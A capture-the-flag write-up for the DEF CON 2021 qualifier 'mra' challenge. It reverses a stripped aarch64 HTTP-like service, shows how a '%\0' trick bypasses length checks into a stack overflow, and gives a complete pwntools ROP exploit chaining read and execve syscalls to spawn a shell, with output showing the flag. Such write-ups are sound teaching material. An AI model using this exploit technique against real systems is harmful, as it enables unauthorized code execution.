# DEF CON CTF Qualifier 2021
## mra
> 114> > Is it odd?>> `nc mra.challenges.ooo 8000`>> [`mra`](`mra`) [`live here`](https://archive.ooo/c/mra/406/)
Tags: _pwn_ _bof_ _rop_ _arm_ _arm64_ _aarch64_
## Summary
Aarch64/Linux-based, statically-linked, stripped, _syscall read /bin/sh into BSS, then syscall execve a shell_.
> Here's a similar problem from last week: [System dROP](https://github.com/datajerk/ctf-write-ups/tree/master/cyberapocalypsectf2021/system_drop) using ret2csu; the pattern is the same, call `read` to _read_ `/bin/sh\0` from `stdin` into the BSS, then chain to `execve` to get a shell.
Statically-linked Linux binaries are chock-full of gadgets including `syscall`, and this challenge binary is no different, except that `syscall` is `svc #0`, and the constants are different, and the registers have different names, but that's about it.
This binary is also stripped, so reversing took a bit longer (ok, a lot longer :-).
## Tooling
I used [Option 3: Aarch64 on x86_64 with QEMU-user](https://github.com/datajerk/ctf-write-ups/tree/master/wpictf2021/strong_arm#option-3-aarch64-on-x86_64-with-qemu-user).
> Option 1 from the same link did not work, _Bus error_; I didn't have time to troubleshoot it.  Probably OOO making the stack go _up_--sadists.
## Analysis
### Checksec
```    Arch:     aarch64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
No PIE or stack canary, easy BOF, easier ROP.
### Give it a go
> This section intentionally left blank because that is all the output you get; send some garbage, nothing.
### Decompile in Ghidra
> All of the functions I hand labeled as part of the reversing process.
```cundefined8 main(undefined4 param_1,undefined8 param_2){  uint uVar1;  uint uVar2;  int iVar3;  undefined *puVar4;  undefined *puVar5;  ulong uVar6;  long lVar7;  undefined8 uStack0000000000000010;  undefined4 uStack000000000000001c;  undefined8 in_stack_00000020;  char cVar8;  char *pcVar9;  char *pcVar10;  char *pcVar11;
  uStack0000000000000010 = param_2;  uStack000000000000001c = param_1;  setvbuf(PTR_DAT_0041cf60,0,2,0);  setvbuf(PTR_FUN_0041cf58,0,2,0);  pcVar10 = "GET /api/isodd/";  pcVar9 = "Buy isOddCoin, the hottest new cryptocurrency!";  cVar8 = '\0';  memset(&stack0x00000028,0,0x400);  pcVar11 = "public";  uVar2 = read(0,&stack0x00000028,0x3ff);  if ((8 < uVar2) && (iVar3 = strncmp(&stack0x00000028,pcVar10,0xf), iVar3 == 0)) {```
`setvbuf`, `memset`, `read`, and `strncmp` are all guesses based on what they do and look like and their position within the text.  E.g. the `0,2,0` is a dead giveaway for `setvbuf` and is present in almost every _good_ binary pwn; `memset` followed by a `read`, yeah, common pattern too.
The `if` block spans all of `main`; to pass that check your input must match the first `0xf` (15) bytes of `pcVar10` (`GET /api/isodd/`).
```c    puVar4 = (undefined *)strchr(&stack0x00000028,10);    if (puVar4 != (undefined *)0x0) {      *puVar4 = 0;      if (puVar4[-1] == '\r') {        puVar4[-1] = '\0';      }    }    puVar4 = (undefined *)strstr(&stack0x00000028," HTTP/");    if (puVar4 != (undefined *)0x0) {      *puVar4 = 0;    }    puVar4 = (undefined *)strchr(&stack0x00000028,0x3f);    if (puVar4 != (undefined *)0x0) {      *puVar4 = 0;      puVar4 = puVar4 + 1;      iVar3 = strncmp(puVar4,"token=",6);      if (iVar3 == 0) {        pcVar11 = puVar4 + 6;      }    }    puVar4 = &stack0x00000037;    puVar5 = (undefined *)strchr(puVar4,0x2f);    if (puVar5 != (undefined *)0x0) {      *puVar5 = 0;    }    uVar6 = strlen(puVar4);```
Next up is a series of checks that also split up your input with NULLs (`\0`).
The first block searches for a `\n` or `\r\n` and replaces with a `\0`.
The second block searches for ` HTTP/` and replaces the ` ` with a `\0`.
The third block looks for `?` (`0x3f`), replaces with `\0` terminating the string after `isodd/`; if `token=` follows that `?`, then assign `pcVar11` to the string after `=`, that will be terminated by the `memset` at `main` start or the ` HTTP/` match above.
Lastly, starting after `isodd/` (`&stack0x00000037 - &stack0x00000028 = 0xf`, the length of `GET /api/isodd/`), replace the first `/` with a `\0` to fuck with your ability to put `/bin/sh` there, then assign `pcVar4` the string after `isodd/` ending before `?` (remember it is `\0` now).
So far our input is looking like: `GET /api/isodd/pcVar4?token=pcVar11 HTTP/`
`uVar6` is set to the length of `pcVar4`.  This will limit the length of our input:
```c    iVar3 = strcmp(pcVar11,"enterprise");    if (iVar3 == 0) {      if (0xc < uVar6) {        response(0x191,"{\n\t\"error\": \"contact us for unlimited large number support\"\n}");        return 0;      }    }    else {      iVar3 = strcmp(pcVar11,"premium");      if (iVar3 == 0) {        if (9 < uVar6) {          response(0x191,"{\n\t\"error\": \"sign up for enterprise to get large number support\"\n}";          return 0;        }      }      else {        pcVar11 = "public";        if (6 < uVar6) {          response(0x191,"{\n\t\"error\": \"sign up for premium or enterprise to get large numbersupport\"\n}";          return 0;        }      }    }```
The next three checks the `token` (`pcVar11`) and restricts the length of `pcVar4` based on the `token`, i.e. `enterprise`:`12`, `premium`:`9`, and `public`/_default_:`6`.
If you clear all three checks, then `puVar4` will be string copied to another stack variable.  And given all the checks `puVar4` cannot be more than 12 bytes in length, right?
String up to this point:
With input of `GET /api/isodd/stuff?token=public HTTP/` the string will be mangled up as `GET /api/isodd/stuff\0token=public\0HTTP/`.
Moving on...
```c    iVar3 = strcpy(&stack0x00000428,puVar4);```
And finally `strcpy`, the vulnerable function:
```cint strcpy(long param_1,long param_2){  uint uVar1;  long lStack20;  long lStack28;  byte bStack37;  int iStack38;  int iStack3c;   iStack3c = 0;  iStack38 = 0;  lStack20 = param_2;  lStack28 = param_1;  while (bStack37 = *(byte *)(lStack20 + iStack3c), bStack37 != 0) {    if (bStack37 == 0x25) {      uVar1 = htoi(*(undefined *)(lStack20 + (long)iStack3c + 1));      bStack37 = htoi(*(undefined *)(lStack20 + (long)iStack3c + 2));      bStack37 = (byte)((uVar1 & 0xff) << 4) | bStack37;      iStack3c = iStack3c + 3;    }    else {      iStack3c = iStack3c + 1;    }    *(byte *)(lStack28 + iStack38) = bStack37;    iStack38 = iStack38 + 1;  }  return iStack38;}```
> For readability I removed all `00000000000000`s from the variable names.
This just loops through and copies the bytes from `param_2` to `param_1`, however if the byte is `0x25` (`%`), then take the next two bytes and convert from hex to int, then store that in the `param_1` array and increment the offset by 3 vs. 1 to get to the next byte.
There's no checking for `\0` in the `%` block.  By using a payload of `%\0buffer-overflow`, we can pass the `puVar4` length check above and overflow the buffer.
To crash the system and find the distance to `x29` and `x30`:
```bashecho -e "GET /api/isodd/%\x00$(cyclic 1000)" | qemu-aarch64 -g 9000 mra```
GDB:
```$x30 : 0x6261616562616164  →  0x6261616562616164$sp  : 0x0000004000780a40  →  0x6261616362616162  →  0x6261616362616162$pc  : 0x0061616562616164  →  0x0061616562616164$cpsr: [negative ZERO CARRY overflow interrupt fast]$fpsr: 0x0000000000000000  →  0x0000000000000000$fpcr: 0x0000000000000000  →  0x0000000000000000───────────────────────────────────────────────────────────────────────────────── stack ────0x0000004000780a40│+0x0000: 0x6261616362616162  →  0x6261616362616162	 ← $sp0x0000004000780a48│+0x0008: 0x6261616562616164  →  0x62616165626161640x0000004000780a50│+0x0010: 0x6261616762616166  →  0x62616167626161660x0000004000780a58│+0x0018: 0x6261616962616168  →  0x62616169626161680x0000004000780a60│+0x0020: 0x000000400078646a  →  0x0000000000000000  →  0x00000000000000000x0000004000780a68│+0x0028: 0x00000040007809d8  →  0x616161626161610a  →  0x616161626161610a0x0000004000780a70│+0x0030: 0x000000000000002f  →  0x000000000000002f0x0000004000780a78│+0x0038: 0x0000008c0000008a  →  0x0000008c0000008a──────────────────────────────────────────────────────────────────────── code:arm64:ARM ────[!] Cannot disassemble from $PC[!] Cannot access memory at address 0x61616562616164```
Compute distance using the value from `x30`:
```# echo 6261616562616164 | xxd -r -p | rev ; echodaabeaab# cyclic 1000 | sed 's/daabeaab.*//g' | wc -c112```
> Our ROP chain starts after 112 bytes.
### Okay. Let's go shopping.
```# man 2 syscall.........       Arch/ABI    Instruction           System  Ret  Ret  Error    Notes                                         call #  val  val2       ───────────────────────────────────────────────────────────────────       alpha       callsys               v0      v0   a4   a3       1, 6       arc         trap0                 r8      r0   -    -       arm/OABI    swi NR                -       a1   -    -        2       arm/EABI    swi 0x0               r7      r0   r1   -       arm64       svc #0                x8      x0   x1   -.........       x86-64      syscall               rax     rax  rdx  -        5```
As stated in the summary above, statically-linked Linux binaries are fully stocked with ROP gadgets including `syscall`, or in this case `svc #0`.
To see what my options were I used `/usr/bin/aarch64-linux-gnu-objdump -d mra | grep -A10 -B10 svc`:
```  4007b4:       f85f83e8        ldur    x8, [sp, #-8]  4007b8:       f85f03e0        ldur    x0, [sp, #-16]  4007bc:       f85e83e1        ldur    x1, [sp, #-24]  4007c0:       f85e03e2        ldur    x2, [sp, #-32]  4007c4:       d4000001        svc     #0x0  4007c8:       d10083ff        sub     sp, sp, #0x20  4007cc:       d65f03c0        ret```
> This isn't the complete output, there are many more, but this first hit, is all we need.
This gadget will read _up_ stack the syscall number, and its first three parameters, then execute the syscall, after that the stack pointer will be moved _up_ to our next set of parameters, then `ret`, but `ret` to what?  Well, `syscall` again! (See [strong-arm](https://github.com/datajerk/ctf-write-ups/tree/master/wpictf2021/strong_arm) for a detailed write up on Aarch64 ROP).
### Attack
The plan is rather simple, use the `read` syscall to read `/bin/sh` into the BSS, then chain to `execve` to get a shell.
## Exploit
```python#!/usr/bin/env python3
from pwn import *import urllib.parse
binary = context.binary = ELF('./mra')binary.symbols['syscall'] = 0x4007b4
if args.REMOTE:    p = remote('mra.challenges.ooo', 8000)else:    if args.GDB:        p = process(('qemu-'+context.arch+' -g 9000 -L /usr/'+context.arch+'-linux-gnu '+binary.path).split())    else:        p = process(('qemu-'+context.arch+' -L /usr/'+context.arch+'-linux-gnu '+binary.path).split())```
Standard pwntools header, plus creating a symbol for our syscall gadget.
```pythonshell = b'/bin/sh\0'
payload  = b''payload += b'GET /api/isodd/'payload += b'%\0'payload += 40 * b'A'
urlload  = b''urlload += p64(0)urlload += p64(0)urlload += p64(binary.bss())urlload += p64(constants.SYS_execve)urlload += p64(len(shell))urlload += p64(binary.bss())urlload += p64(constants.STDIN_FILENO)urlload += p64(constants.SYS_read)urlload += 8 * b'A'urlload += p64(binary.sym.syscall)
payload += urllib.parse.quote(urlload).encode()```
The initial part of the payload should be clear from the Analysis section above.
> The payload should be URL quoted (`%nn%nn%nn`...) so that `strcpy` does not prematurely terminate.
Starting form the bottom, the `8 * b'A'` and `syscall` will land in `x29` and `x30` curtesy of the end from `strcpy` with `sp` pointing to `8 * b'A'` on the stack with our `read` payload just above it.  The `syscall` gadget (see assembly above) will load the next four stack lines going _up_ into `x8`, `x0`, `x1`, `x2`, and then execute the syscall to read from `stdin` (`0`) our 8-byte payload (`/bin/sh\0`) into the BSS (`binary.bss()`); after the syscall `sp` will be pointing just below our next set of four parameters, when `ret` is executed, `syscall` is executed again since `x30` was never updated (this isn't x86_64), and the cycle continues, but this time with `execve` executing `/bin/sh\0` stored in the BSS.
```pythonpayload += (0x3ff - len(payload)) * b'A'
p.send(payload)p.send(shell)p.interactive()```
> The padding at the end of the payload is to fill up the first read so that our second `send` does not land in the wrong `read`.
Finally we just need to send the payload, that will wait for our input (`/bin/sh\0`), then continue on with the `execve`.
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/dc2021q/mra/mra'    Arch:     aarch64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to mra.challenges.ooo on port 8000: Done[*] Switching to interactive mode$ cat flagOOO{the_0rder_0f_0verflow_is_0dd}```